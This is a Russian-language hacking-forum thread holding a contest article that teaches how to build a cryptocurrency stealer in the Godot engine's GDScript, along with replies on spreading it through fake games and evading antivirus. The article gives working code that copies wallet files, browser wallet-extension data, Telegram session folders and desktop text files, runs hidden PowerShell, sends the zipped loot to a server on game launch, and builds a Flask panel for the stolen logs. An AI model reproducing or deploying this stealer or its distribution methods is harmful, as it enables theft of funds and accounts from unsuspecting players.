• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья 🚀 Крипто стиллер на Godot [GDScript]

Честно говоря я бы как-то в направлении адверта попробовал эту тему. Делаешь что-то около nft тапалки для пк и льешь по X всяким там криптоютуберам под видом сотрудничества. Запустите дяденька, на видео покажите)
сделай
 
По сабжу: имхо, вы этим просто добьетесь того, что рантайм движка будет палиться антивирусами, как это было с языком Nim. Понятно, что для вас это небольшая проблема, ну будет палиться стиллер на Годоте, ну будет тогда стиллер на Юнити, или на Дефолде каком-нибудь. А вот для движка - это добавит кучу головной боли, ведь как показала практика языка Nim, большинство аверов срать хотели на жалобы о ложных срабатываниях от разработчиков всяких не распространенных широко оупенсорсных вещей.
к слову об этике?
 
сделай
так на конкурсе уже есть тапалка по типу хомяка. Такое на игровом то движке можно реализовать посмотрев 1-2 ролика о годот. Лично я посмотрел минут 15 и в принципе понял как тут и что устроено в базовом плане. Интереснее всего конечно как подобный софт продвинется при грамотном пиаре, но будем реалистами, врятли кто-то это попробует, у большиснтва уже есть давно купленные и проверенные малвари, а данный софт будут юзать в основном новички от которых врятли можно ожидать хорошего пролива
 
Интереснее всего конечно как подобный софт продвинется при грамотном пиаре
в современных реалиях перенасыщенности "хакеров" в сети и параллельном повышении весомости блек маркетинга -> неважно насколько интересен и потенциален продукт, важно то, насколько инфа об этом продукте сможет завоевать информационное поле

это касается как малвари для "плохих" делишек, так и вполне легит софта различной направленности
 
в современных реалиях перенасыщенности "хакеров" в сети и параллельном повышении весомости блек маркетинга -> неважно насколько интересен и потенциален продукт, важно то, насколько инфа об этом продукте сможет завоевать информационное поле

это касается как малвари для "плохих" делишек, так и вполне легит софта различной направленности
Скорее всего ты и прав. Но я лишь кодер, сам трафиком не занимаюсь, так что не могу быть на 100% уверен. Надеюсь сюда придет шарящий человек и по полочкам нам все разложит
 
а статья и методика интеерсная, про этику, о которой DildoFagins говорит:
какбы не похуй ли, тут не для того, чтобы ангелочками казаться и проявлять солидарность к специлистам
если есть возможность использовать технологию в плохих целях - значит с этой технологией что-то не так, или с миром хехе...

по такой логике и крипту для отмыва юзать нельзя!!!!!

ворачиваяськ самой статье, за ласт пол года какие только не видел методики распространения
разные стратегии, разные подходы, в каждом методе какие-то уникальные фичи, по поводу эффективности, очевидно, что только овнеры проектов распространения знаю результаты, но удивляет то, как сфера распространения зловредного по развилась за ласт 4-5 лет, ну или то, что в открытом доступе больше и больше инфы стало

 
Скорее всего ты и прав. Но я лишь кодер, сам трафиком не занимаюсь, так что не могу быть на 100% уверен. Надеюсь сюда придет шарящий человек и по полочкам нам все разложит
а может в конкурсе где-то и есть касаемо этого, если делать акцент на траф с гита, как сказано на хакере(ты линк прикрепрял о лодыре на годоте), то гдето была статья о гите, но там вроде как кринж какойто, хз мб подходы нужные другие или внатури рип метод



а вообще было бы круто для самых ленивых соединять статьи для амбициозных связок
а то впадлу сидеть серчить метод реализации подходящий под продукт
 
а может в конкурсе где-то и есть касаемо этого, если делать акцент на траф с гита, как сказано на хакере(ты линк прикрепрял о лодыре на годоте), то гдето была статья о гите, но там вроде как кринж какойто, хз мб подходы нужные другие или внатури рип метод



а вообще было бы круто для самых ленивых соединять статьи для амбициозных связок
а то впадлу сидеть серчить метод реализации подходящий под продукт
яж еще одну статью написал, но не для конкурса, я там делал лодер на годот и в конце показал как на сайт залить популярный где инди разрабы свои проекты выкидывают. Я закинул туда чистый билд но сути это не меняяет, это было на столько просто что я был мягко говоря удивлен. Никакких проверок, регистрация на временную почту, никаких личных данных, все было сделано буквально за минуты. Я слишком ленив что бы реально проливать трафик, но мне кажется если серьезно взяться за это, получится неплохо. Но получить там миллионы миллионов конечно врятли получится
 
По сабжу: имхо, вы этим просто добьетесь того, что рантайм движка будет палиться антивирусами, как это было с языком Nim. Понятно, что для вас это небольшая проблема, ну будет палиться стиллер на Годоте, ну будет тогда стиллер на Юнити, или на Дефолде каком-нибудь. А вот для движка - это добавит кучу головной боли, ведь как показала практика языка Nim, большинство аверов срать хотели на жалобы о ложных срабатываниях от разработчиков всяких не распространенных широко оупенсорсных вещей.
А можно ли так добиться детектов на бинарь питона? Вообще какой-то крайне тупой способ детекта. Пусть мусора развивают поведенческий анализ или пихают везде тредлокеры иначе до бешеного запрещающего принтера не далеко. Запрещать надо уметь , жи есть!
 
яж еще одну статью написал, но не для конкурса, я там делал лодер на годот и в конце показал как на сайт залить популярный где инди разрабы свои проекты выкидывают. Я закинул туда чистый билд но сути это не меняяет, это было на столько просто что я был мягко говоря удивлен. Никакких проверок, регистрация на временную почту, никаких личных данных, все было сделано буквально за минуты. Я слишком ленив что бы реально проливать трафик, но мне кажется если серьезно взяться за это, получится неплохо. Но получить там миллионы миллионов конечно врятли получится
Звучит грустно , как воровать у бездомных :(
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А можно ли так добиться детектов на бинарь питона? Вообще какой-то крайне тупой способ детекта. Пусть мусора развивают поведенческий анализ или пихают везде тредлокеры иначе до бешеного запрещающего принтера не далеко. Запрещать надо уметь , жи есть!
Попробуй залить python.exe на вирустотал, вполне вероятно, какой-нибудь особо всратый ноунейм антивирус его уже детектит). Но для более-менее известных аверов - это, наверное, мало вероятно. Тут с точки зрения ложных срабатываний скорее дело упирается в количество грамотных людей, готовых кошмарить аверов: наносить какой-то громкий репутационный ущерб, или даже до суда дело доводить. В комьюнити Nim'а таких людей не было, хоть комьюнити и достаточно большое. Если бы дело касалось какого-нибудь Go, аверам бы в первые несколько секунд прилетело официальное письмо от Гугла, которое они не смогли бы спокойно игнорить.

что рантайм движка будет палиться антивирусами
Я тут скачал какую-то рандомную игру с itch.io на Godot и посмотрел, как выглядит экспорт. Я раньше думал, что они пакуют ассеты и код в ZIP и пихают в оверлей PE-файла с движком (так на самом деле делают многие инди-движки), но оказывается там обычно PCK-файл лежит отдельно от исполняемого файла. То есть, технически, для авера нужно будет сигнатуру на PCK-файл ставить. PCK-формат открыт, парсить его особо много труда не составит, то есть скорее всего надо будет хотя бы строки шифровать в GDScript-коде, а может быть и морфер какой-то выдумывать, чтобы это прожило долгое время. Вроде бы для PCK-файла можно добавить AES-шифрование, но похоже, что для этого нужно кастомный шаблон для экспорта собирать руками, из-за чего теряется сама концепция того, что ты используешь известный и сравнительно многими используемый легальный экзешник для прикрытия. Ну и да, понятно, что схемы распространения могут быть разными, но как-то 40мб экзешник и дополнительный PCK-файл к нему немного сужает список возможных методик и целевой аудитории, в этом плане какой-нибудь движок типа Defold или Love был бы выгоднее).
 
Попробуй залить python.exe на вирустотал, вполне вероятно, какой-нибудь особо всратый ноунейм антивирус его уже детектит). Но для более-менее известных аверов - это, наверное, мало вероятно. Тут с точки зрения ложных срабатываний скорее дело упирается в количество грамотных людей, готовых кошмарить аверов: наносить какой-то громкий репутационный ущерб, или даже до суда дело доводить. В комьюнити Nim'а таких людей не было, хоть комьюнити и достаточно большое. Если бы дело касалось какого-нибудь Go, аверам бы в первые несколько секунд прилетело официальное письмо от Гугла, которое они не смогли бы спокойно игнорить.
1737964077107.png


Рука у них на батьку не поднимается. Расскажи лучше как тредлокеры байпасить по красоте, сайдлоадинг какой-нибудь сработает там?
 
Я думаю, если им игра нравится -то будут отключать АВ и играть.
Вот недавно видел что какаят популярная игра в стим теперь ав детектится, разрабы просто ответили что это антивирусы в край ебанулись и с игрой все впорядке, вроде люди схавали т.к игра имеет большую аудиторию преданную. Так что мне кажется что в случае с игрой и ее детектами реально можно обойтись просто парой слов по типу "все х#йня, с игровой все впорядке" при условии что игра будет хорошей. да и свпомним торренты, большинство людей не останавливают крики ав если человек хочет позадротить в любимую или хайповую игру
 
Пожалуйста, обратите внимание, что пользователь заблокирован

Немного инфы о проекте​

Крипто стиллер на Godot — что-то непонятное, правда? Сейчас я расскажу о том, что это и как я к этому пришел.

Для начала объясню, что такое Godot. Godot — это игровой опенсорс-движок, на котором можно делать как 2D, так и 3D игры. Но это нас не особо интересует, ведь форум немного о другом. Самое интересное, что в этом движке используется свой собственный язык под названием GDScript, который очень даже похож на Питон. Благодаря тому, что язык по факту ноунейм, задетектить подобного рода софт, написанный на нем, будет крайне сложно, что и является основным плюсом данного софта, да и самой идеи написания вирусов на этом языке в целом.

Как я вообще пришел к мысли о создании малваря на данном языке?​

Дело в том, что мне как-то попалась статья о том, что GitHub и игры начал массово заполнять малварь на Godot, и был этот малварь лоадером. Собственно говоря, именно поэтому я решил также попробовать сделать что-то подобное на данном языке. Ведь в публичном доступе ничего подобного в принципе нет, и данный проект своего рода уникален, хоть и сама тема фри-стиллеров уже заезжена вдоль и поперек.

Прочитать одну из новостей о малваре на Godot можно по этой ссылке:
https://xakep.ru/2024/11/29/godloader-godot/

В чем цель данного проекта?​

Цель проекта проста: показать, что даже самым необычным способом и на ноунейм языке есть возможность написать малварь и доказать это на практике.

Какой функционал будет в этом мутанте?​

Стиллер холодных кошельков и плагинов из Edge с криптокошельками.
Граббер рабочего стола.
Граббер Telegram.
Сбор данных о системе и IP.
Отправка логов на сервер через запросы.
Веб-панель.​

Почему в этом списке нету стиллера паролей и куки?​

Дело в том, что для расшифровки куки и паролей нужно как минимум получить ключ из DPAPI и AES. А библиотек на GDScript для этого нет, поэтому нужно писать собственную логику с нуля. Учитывая, что это не какой-нибудь там Python (хоть и его брат-близнец), сделать это было бы крайне сложно и заняло бы больше времени, чем длится конкурс. А поучаствовать мне все же захотелось. Несмотря на это, даже с тем функционалом, который будет присутствовать, считаю, что вполне можно работать.

Создание и настройка проекта​

Теперь давайте приступим к работе над самим стиллером. Первое, что потребуется сделать, — это скачать и установить сам Godot.

Скачать его можно с официального сайта или GitHub-репозитория по этой ссылке:
https://github.com/godotengine/godot/releases/download/4.3-stable/Godot_v4.3-stable_win64.exe.zip

После установки Godot сразу же создаем проект, как показано на скриншоте ниже:
Посмотреть вложение 102098

После создания проекта первое, что сделаем, — это создадим 2D-сцену, к которой впоследствии прикрепим скрипт самого стиллера.
Посмотреть вложение 102099

Сохраняем сцену, чтобы она появилась в файловой системе, используя Ctrl+S.
Посмотреть вложение 102100
Посмотреть вложение 102101

Создаем и прикрепляем скрипт к главному меню, а затем сохраняем.
Посмотреть вложение 102102
Посмотреть вложение 102103
В этом окне мы и будем писать всю логику стиллера, так что все, что есть в данном скрипте при его создании, удаляем, не считая первой строки extends Node2D.

Пишем код клиента на Godot​

В коде сразу же создадим эту функцию:
func _enter_tree():
Данная функция используется для того, чтобы код, указанный в ней, запускался при инициализации сцены. В ней будет указан вызов нашей основной функции, которая будет приводить в действие весь стиллер, но пока что это пропустим и рассмотрим функции, которые будут выполнять основную логику, по отдельности.

Сбор крипты​

Первой на очереди будет функция для сбора холодков и плагинов.
Python:
func copy_folder_content(source_path: String, destination_path: String):
    # Открываем папку из которой нужно скопировать
    var source_dir = DirAccess.open(source_path)
    # Если папки нет
    if source_dir == null:
        print("Папка не найдена: " + source_path)
        return

    # Открывает текущую директорию
    var dest_dir = DirAccess.open(".")
    # Создает папки по пути destination_path (во временной папке лога)
    dest_dir.make_dir_recursive(destination_path)
    # Перечисляет все файлы и папки по пути source_dir
    source_dir.list_dir_begin()
    while true:  # Бесконечный цикл
        # Получаем имя следующей папки или файла в директории из которой нужно копировать
        var file = source_dir.get_next()
      
        # Если название папки пустое, значит папки кончились и заканчивается цикл
        if file == "":
            break
        # Сборка полного пути до файла
        var source_file_path = source_path + "/" + file
        # Сборка полного пути куда копировать
        var destination_file_path = destination_path + "/" + file
        # Проверяет, является ли текущий элемент файлом или папкой
        if source_dir.current_is_dir():
            # Если папка, то вызывать функцию для копирования файлов передавая туда полный путь до папки source_file_path
            copy_folder_content(source_file_path, destination_file_path)
        else:
            # Если элемент это файл а не папка то тогда копируем файл и вставляем его во временную папку лога по пути destination_file_path
            var file_reader = FileAccess.open(source_file_path, FileAccess.READ)
            var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE)
            if file_reader and file_writer:
                file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length()))
                # Закрываем файл откуда копирует и файл куда копирует
                file_reader.close()
                file_writer.close()
Логика данной функции проста: для начала берем и открываем папку, из которой нужно копировать. Если папки нет, то выводим print с ошибкой.
Затем проходимся по каждому объекту в папке внутри бесконечного цикла.
Проверяем каждый объект на то, является ли он папкой или файлом. Если является файлом, то копируем его во временную папку лога. Если является папкой, то вызывается эта же функция, и в нее передается путь до выбранной папки, и так по кругу, пока все файлы и папки не закончатся.

Возможно, у вас возникнет вопрос: почему же так замудренно? Нельзя ли просто взять всю папку с холодком и скопировать, не прописывая вручную логику для рекурсивного поиска всех файлов и папок?
А вот нельзя. В Godot нет функции, позволяющей сразу же скопировать всю папку с файлами, поэтому приходится вручную искать каждую папку и каждый файл и копировать их по отдельности, повторяя оригинальный порядок путей.

Сбор Telegram​

После функции для сбора холодков следуют функции для сбора файлов Telegram и файлов с рабочего стола. Все эти функции практически полностью повторяют функционал показанной выше функции, так что повторяться я смысла не вижу и просто предоставлю вам код.

Сбор Telegram-файлов:
Python:
func copy_telegram_tdata_content(source_path: String, destination_path: String):
    # Папки которые не надо копировать
    var excluded_folders = ["dumps", "emoji", "temp", "user_data"]
    # Открываем папку откуда копировать
    var source_dir = DirAccess.open(source_path)
    # Если папки нету
    if source_dir == null:
        print("Папка не найдена: " + source_path)
        return

    var dest_dir = DirAccess.open(".")
    dest_dir.make_dir_recursive(destination_path)
    source_dir.list_dir_begin()
  
    while true:
        var file = source_dir.get_next()
        # Если название папки пустое, значит папки кончились и заканчивается цикл
        if file == "":
            break
        # Если название папки есть в списке папок исключений
        if file in excluded_folders:
            continue  # Пропускаем исключаемые папки
          
        # Сборка полного пути до файла
        var source_file_path = source_path + "/" + file
        # Сборка полного пути куда копировать
        var destination_file_path = destination_path + "/" + file
      
        if source_dir.current_is_dir():
            # Если папка, то вызывать функцию для копирования файлов передавая туда полный путь до папки source_file_path
            copy_telegram_tdata_content(source_file_path, destination_file_path)
        else:
            # Если элемент это файл а не папка то тогда копируем файл и вставляем его во временную папку лога по пути destination_file_path
            var file_reader = FileAccess.open(source_file_path, FileAccess.READ)
            var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE)
            if file_reader and file_writer:
                file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length()))
                # Закрываем файл откуда копирует и файл куда копирует
                file_reader.close()
                file_writer.close()

Сбор файлов с рабочего стола​

Python:
func copy_text_files_from_desktop(desktop_path: String, destination_path: String):
    # Открываем папку откуда копировать
    var source_dir = DirAccess.open(desktop_path)
    # Если папки нету
    if source_dir == null:
        print("Папка не найдена: " + desktop_path)
        return

    var dest_dir = DirAccess.open(".")
    dest_dir.make_dir_recursive(destination_path)
    source_dir.list_dir_begin()

    while true:
        var file = source_dir.get_next()
        # Если название папки пустое, значит папки кончились и заканчивается цикл
        if file == "":
            break

        var source_file_path = desktop_path + "/" + file
        var destination_file_path = destination_path + "/" + file

        # Проверка, если это текстовый файл то копируем в временную папку лога
        if file.ends_with(".txt"):
            var file_reader = FileAccess.open(source_file_path, FileAccess.READ)
            var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE)
            if file_reader and file_writer:
                file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length()))
                # Закрываем файл откуда копирует и файл куда копирует
                file_reader.close()
                file_writer.close()
Было принято решение в данной функции собирать только текстовые файлы, ибо в них чаще всего и находятся заметки с паролями и сидами от кошельков. Но если же вам нужны еще какие-либо форматы, то это легко добавить, заменив эту строку:
if file.ends_with(".txt"):
на эту:
if file.ends_with(".txt") or file.ends_with(".log") or file.ends_with(".csv"):

Напоминаю, что все файлы копируются в временную папку лога. В дальнейшем эта временная папка будет запихиваться в архив и отправляться. После этого временная папка будет удаляться, и как раз функцию удаления мы и рассмотрим сейчас.

Удаление временной папки лога​

Python:
func delete_folder(folder_path: String):
    # Открывает временную папку лога
    var dir = DirAccess.open(folder_path)
    # Если директория не пуста
    if dir != null:
        # Перечисляет все папки и файлы внутри
        dir.list_dir_begin()
        # Получаем имя следующей папки или файла
        var file = dir.get_next()
      
        # Бесконечный цикл
        while true:
            # Если название папки пустое, значит папки кончились и заканчивается цикл
            if file == "":
                break
            # Собираем полный путь до элемента
            var path = folder_path + "/" + file
            # Если элемент это папка,то вызываем эту же функцию удаления чтобы пробежаться рекурсивно по ней и все удалить
            if dir.current_is_dir():
                delete_folder(path)  # Рекурсивно удаляем вложенные папки
            else:
                # Если элемент это файл, то удаляем
                var file_remover = FileAccess.open(path, FileAccess.WRITE)
                if file_remover:
                    file_remover.close()
                    DirAccess.open(".").remove(path)  # Удаляем файл
            file = dir.get_next()
        dir.remove(folder_path)  # Удаляем саму папку
Суть тут такая же, как и у функций для копирования, и проблема соответственно тоже. То есть нельзя просто так взять и удалить папку со всем содержимым, нужно рекурсивно пройтись по всем файлам и папкам и удалять их по одному, а в конце удалить уже пустую основную папку для временных файлов.

Теперь рассмотрим функции для получения данных о системе и IP-адреса. Для этого будет использоваться вызов PowerShell и отправка в него команд. Метод достаточно простой, но действенный.

Получение IP​

Python:
func fetch_ip_address() -> String:
    var commands = [
        "-WindowStyle",
        "Hidden",  # Скрывает консольное окно
        "-Command",
        "Invoke-RestMethod -Uri 'https://httpbin.org/ip?format=json'"
    ]
  
    # Массивы для вывода
    var output = []

    # Выполнение PowerShell c передачей в нее команды
    var exit_code = OS.execute("powershell", commands, output, true, true)
  
    # Обработка результата
    if exit_code == 0:
        # Склеиваем строки в одну строку
        var output_str = ""
        for line in output:
            output_str += line.strip_edges() + "\n"
      
        # Попробуем найти IP в выводе
        var lines = output_str.split("\n")
        if lines.size() >= 3:
            var ip = lines[2].strip_edges()
            return ip
        else:
            print("Не удалось найти IP в ответе")
          
    # Возвращаем пустую строку
    return ""

Как и было сказано ранее, метод простой: в нем мы просто собираем команду PowerShell для отправки запроса на https://httpbin.org/ip?format=json, затем получаем ответ примерно в таком виде:
origin
------
213.108.23.243

Затем берем третью строку в которой как раз и находится ip адрес

Так же поясню за эту строчку:
var exit_code = OS.execute("powershell", commands, output, true, true)

Она в принципе так же понятна, за исключением последних двух true.
Первый true означает, что нужно дожидаться окончания работы команды.
Второй true означает, что ответ от PowerShell будет записываться.

Получение данных системы​

По такому же принципу работает и команда для получения данных о системе:
Python:
func fetch_system_info() -> Dictionary:
    var commands = [
        "-WindowStyle",
        "Hidden",
        "-Command",
        "\"Get-CimInstance Win32_Processor | Select-Object -ExpandProperty Name; " +
        "Get-CimInstance Win32_Processor | Select-Object -ExpandProperty NumberOfCores; " +
        "Get-CimInstance Win32_Processor | Select-Object -ExpandProperty NumberOfLogicalProcessors; " +
        "[math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB, 2)\""
    ]
    # Массивы для вывода и ошибок
    var output = []
    var exit_code = OS.execute("powershell", commands, output, true, true)
  
    # Если выполнилось удачно
    if exit_code == 0:
        # Разделяем ответ на строки
        var lines = "".join(output).strip_edges().split("\n")

        return {
            # Берем данные из строк и записываем в ключи и возвращаем их
            "processor_name": lines[0].strip_edges(),
            "cores": lines[1].strip_edges(),
            "logical_processors": lines[2].strip_edges(),
            "ram": lines[3].strip_edges() + " GB"
        }
    # Если команда не выполнилась, возвращаем пустой объект
    return {}

Отправка лога на сервер​

Отправляться лог в виде ZIP-архива на сервер будет так же с помощью PowerShell команды. Адрес сервера для отправки указывается сразу в команде PowerShell.
Python:
func send_file_to_flask(output_archive: String):
    var command_str = """
    $filePath = '""" + output_archive + """'
    $fileBytes = [System.IO.File]::ReadAllBytes($filePath)
    $base64String = [Convert]::ToBase64String($fileBytes)
    $uri = 'http://127.0.0.1:5000/data'
    $body = @{
        text = $base64String
    }
    Invoke-RestMethod -Uri $uri -Method POST -ContentType 'application/json' -Body ($body | ConvertTo-Json)
    """
  
    var commands = [
        "-WindowStyle",
        "Hidden",
        "-Command",
        command_str
    ]
  
    var output = []
    var exit_code = OS.execute("powershell", commands, output, true, true)

    if exit_code == 0:
        print("Файл отправлен")
        print("Ответ: ", "".join(output).strip_edges())
    else:
        print("Ошибка при отправке: ", exit_code)
        print("Ответ: ", "".join(output).strip_edges())

Основная функция для запуска стиллера​

Со всеми функциями сбора данных закончено, теперь рассмотрим функцию, которая будет создавать временную папку, вызывать функции для сбора данных, архивировать собранные данные в ZIP-архив, удалять временную папку и вызывать функцию для отправки архива с логом.

Пути до папок для сбора данных и куда сохранять эти данные​

Для начала в функции пропишем все необходимые пути:
Python:
func create_combined_archive():
    # Пути к папкам которые нужно копировать
    var appdata_path = OS.get_environment("APPDATA")
    var localappdata_path = OS.get_environment("USERPROFILE") + "/AppData/Local"
    var exodus_path = appdata_path + "/Exodus/exodus.wallet"
    var electrum_path = appdata_path + "/Electrum/wallets"
    var metamask_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"
    var trust_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/egjidjbpglichdcondbcbdnbeeppgdph"
    var phantom_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"
    var telegram_path = appdata_path + "/Telegram Desktop/tdata"  # Путь до tdata
    var desktop_path = OS.get_environment("USERPROFILE") + "/Desktop"  # Путь для копирования файлов с рабочего стола

    # Путь для временной папки и архива
    var temp_path = OS.get_environment("USERPROFILE") + "/AppData"
    # Временная папка лога
    var temp_folder = temp_path + "/log_temp"
    # Путь до архива
    var output_archive = temp_path + "/log.zip"
    # Путь куда сохранять инфу о системе
    var info_file_path = temp_folder + "/Info.txt"

Затем создаем временную папку
var temp_dir = DirAccess.open(temp_folder)
    if temp_dir == null:
        temp_dir = DirAccess.open(".")
        temp_dir.make_dir_recursive(temp_folder)

Вызов функции для сбора данных о пк и ip​

Вызываем функции для получения данных о ПК и IP, а затем проверяем возвращенные от этих функций ответы на наличие данных и записываем их, если данные есть.
Python:
# Вызов функции для получения ip адреса
    var ip = fetch_ip_address()
    # Вызов функции для получения информации о системе
    var system_info = fetch_system_info()
    # Открываем файл для информации о пк
    # FileAccess.open открывает файл или создает его если файла нет
    var info_file = FileAccess.open(info_file_path, FileAccess.WRITE)

    # Если IP непустая строка
    if ip != "":
        info_file.store_string("IP-адрес: " + ip + "\n")
    else:
        info_file.store_string("IP-адрес: Не удалось определить\n")

    # Если размер полученных данных по размеру больше 0
    if system_info.size() > 0:
        # Берутся ключи из ответа от функции fetch_system_info() и записываются в файл с помощью метода store_string
        info_file.store_string("Информация о системе:\n")
        info_file.store_string("Процессор: " + system_info["processor_name"] + "\n")
        info_file.store_string("Ядра: " + system_info["cores"] + "\n")
        info_file.store_string("Потоки: " + system_info["logical_processors"] + "\n")
        info_file.store_string("ОЗУ: " + system_info["ram"] + "\n")
    else:
        info_file.store_string("Информация о системе: Не удалось получить данные\n")
    info_file.close()

Вызов функции для копирования файлов холодков и прочего​

Вызываем функции для копирования данных холодков, рабочего стола, Telegram, передавая в эти функции путь, откуда копировать, и путь, куда копировать.
Python:
copy_folder_content(exodus_path, temp_folder + "/CryptoWallets/Exodus")
    copy_folder_content(electrum_path, temp_folder + "/CryptoWallets/Electrum")
    copy_folder_content(metamask_path, temp_folder + "/CryptoWallets/Metamask")
    copy_folder_content(trust_path, temp_folder + "/CryptoWallets/Trust")
    copy_folder_content(phantom_path, temp_folder + "/CryptoWallets/Phantom")
    copy_telegram_tdata_content(telegram_path, temp_folder + "/Telegram")
    # Копируем текстовые файлы с рабочего стола
    copy_text_files_from_desktop(desktop_path, temp_folder + "/Desktop")

Создание архива​

Далее следует создание архива, и оно будет реализовано через мой любимый PowerShell.
Python:
var result = OS.execute("powershell", [
        "-Command",
        "Compress-Archive",
        "-Path",
        '"' + temp_folder.replace("/", "\\") + "\\*" + '"',
        "-DestinationPath",
        '"' + output_archive.replace("/", "\\") + '"'
    ], [])

Вызов функции для удаления временной папки​

Затем удаляем временную папку с помощью вызова соответствующей функции и отправляем созданный архив на сервер также с помощью написанной ранее функции.
Python:
# Удаляем временную папку с помощью функции delete_folder
delete_folder(temp_folder)

    if result == 0:
        print("Архив успешно создан: " + output_archive)
        send_file_to_flask(output_archive)
    else:
        print("Ошибка при создании архива.")
Функция закончена, и почти весь скрипт тоже. Теперь нужно, чтобы он запускался при запуске игры.

Функция для запуска всей логики при запуске игры​

В начале написания кода я уже упоминал такую функцию, как func _enter_tree():, и именно она сейчас и понадобится.
Создадим ее в начале скрипта и вызовем в ней функцию, которую писали выше.
Python:
func _enter_tree():
    print("Запуск...")
    create_combined_archive()
Таким образом, скрипт будет запускаться сразу при запуске игры.

Пишем код сервера на Python​

Раз с клиентом стиллера закончено, можем приступить к написанию сервера, который будет принимать логи и отображать их в веб-панели с возможностью скачивания.

Подготовка проекта​

Сервер будет написан на излюбленном мною Flask с использованием SQLite, и первое, что нам понадобится, так это подготовить сам проект. В нем нужно создать несколько папок:
  • logs для хранения архивов с логами
  • static для стилей веб-панели
  • templates для хранения HTML файлов панели
Также создадим файл main.py, в котором и будем писать основную логику.
Посмотреть вложение 102104

В качестве IDE будет использоваться PyCharm. Открываем через него проект и сразу же создаем виртуальную среду, в которой будут храниться все необходимые библиотеки.
Посмотреть вложение 102105

Необходимые библиотеки​

Теперь в самом Python файле укажем все библиотеки, которые будем использовать в дальнейшем.
Python:
import os
import base64
import random
import string
from datetime import datetime
from flask_sqlalchemy import SQLAlchemy
from flask import Flask, request, render_template, send_file

Инициализация Flask и SQLAlchemy​

Инициализируем Flask-приложение и SQLAlchemy для базы данных, а также создаем саму модель таблицы для базы данных.
Python:
app = Flask(__name__)

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///archives.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

# Инициализация SQLAlchemy
db = SQLAlchemy(app)

# Модель для таблицы логов
class Archive(db.Model):
   id = db.Column(db.Integer, primary_key=True)
   filename = db.Column(db.String(100), nullable=False)
   created_at = db.Column(db.String(20), nullable=False)
   file_path = db.Column(db.String(255), nullable=False)

   def __repr__(self):
       return f'<Archive {self.filename}>'

Создаем папку для хранения логов если ее еще нет​

Python:
LOGS_FOLDER = 'logs'

if not os.path.exists(LOGS_FOLDER):
   os.makedirs(LOGS_FOLDER)

Обработка запросов​

Теперь создадим функцию, обрабатывающую запросы от Godot стиллера. Как помним, в Godot мы указывали маршрут http://127.0.0.1:5000/data, поэтому и в Python коде маршрут будет /data.
Python:
@app.route('/data', methods=['POST'])
def receive_data():
   data = request.json  # Получаем данные из JSON-запроса
   if not data or 'text' not in data:
       return "Ошибка при получении данных лога", 400

Если данные есть, то конвертируем их из base64 в байты, затем генерируем случайное название для архива archive.zip, сохраняем файл с конвертированными из base64 в байты данными в папку logs.
Python:
# Извлекаем строку Base64
base64_string = data['text']
try:
   # Декодируем строку Base64 в байты
   file_bytes = base64.b64decode(base64_string)

   # Генерируем случайное имя для архива
   random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + '.zip'
   file_path = os.path.join(LOGS_FOLDER, random_filename)

   # Сохраняем файл на диск
   with open(file_path, 'wb') as file:
       file.write(file_bytes)

   return "Лог успешно получен сервером", 200
except Exception as e:
   return f"Ошибка: {str(e)}", 500

Также не забываем о базе данных, в которую нужно записать данные о логе. Этот код нужно поместить в try.

Python:
created_at = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
new_archive = Archive(
   filename=random_filename,
   created_at=created_at,
   file_path=file_path
)
db.session.add(new_archive)
db.session.commit()

Передача данных о логах в веб панель​

Теперь создадим маршрут для страницы, на которой будут отображаться данные логов.
Python:
@app.route('/')
def index():
   archives = Archive.query.all()
   return render_template('index.html', archives=archives)
Для передачи данных о логах на страницу мы будем просто считывать все данные из базы данных и передавать их в index.html.

Функция для скачивания логов​

Также в панели будет возможность скачивать логи, поэтому для этого сразу же напишем еще один маршрут, который в дальнейшем будет вызываться при нажатии на кнопку в панели.
Python:
@app.route('/download/<int:archive_id>')
def download(archive_id):
   # Получаем архив по ID
   archive = Archive.query.get_or_404(archive_id)

   # Отправляем файл на скачивание
   return send_file(archive.file_path, as_attachment=True)
Принцип работы очень прост: при нажатии на кнопку "Скачать" в панели на данный маршрут будет отправляться id лога в базе данных. Затем, в функции будет искаться нужный лог по его id в базе данных. В базе данных у лога есть столбец, в котором указан путь до файла. С помощью функции send_file из Flask будет происходить скачивание лога с использованием найденного пути до него.

Веб панель​

На этом весь бекенд завершен, и теперь рассмотрим саму веб-панель. Она максимально проста, в ней мы будем визуализировать таблицу и отображать данные из базы данных, переданные ранее из бэкэнд-функции index на веб-страницу.
HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>Логи</title>
   <!-- Подключаем CSS -->
   <link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
   <h1>GDSteel.inc</h1>
   <table>
       <thead>
           <tr>
               <th>ID</th>
               <th>Имя файла</th>
               <th>Дата</th>
               <th>Скачать</th>
           </tr>
       </thead>
       <tbody>
           {% for archive in archives %}
               <tr>
                   <td>{{ archive.id }}</td>
                   <td>{{ archive.filename }}</td>
                   <td>{{ archive.created_at }}</td>
                   <td>
                       <a href="{{ url_for('download', archive_id=archive.id) }}">
                           <button>Скачать</button>
                       </a>
                   </td>
               </tr>
           {% endfor %}
       </tbody>
   </table>
</body>
</html>

Как видно, к странице подключены стили. На них также останавливаться смысла нет, так как сложных стилей там нет, а работу с CSS на данном форуме разбирали уже много раз, и я уверен, что все знают, как с ними работать. Поэтому просто приложу код:
CSS:
/* Основные стили для страницы */
body {
   font-family: 'Roboto', sans-serif;
   background-color: #1e1e1e;
   margin: 0;
   padding: 20px;
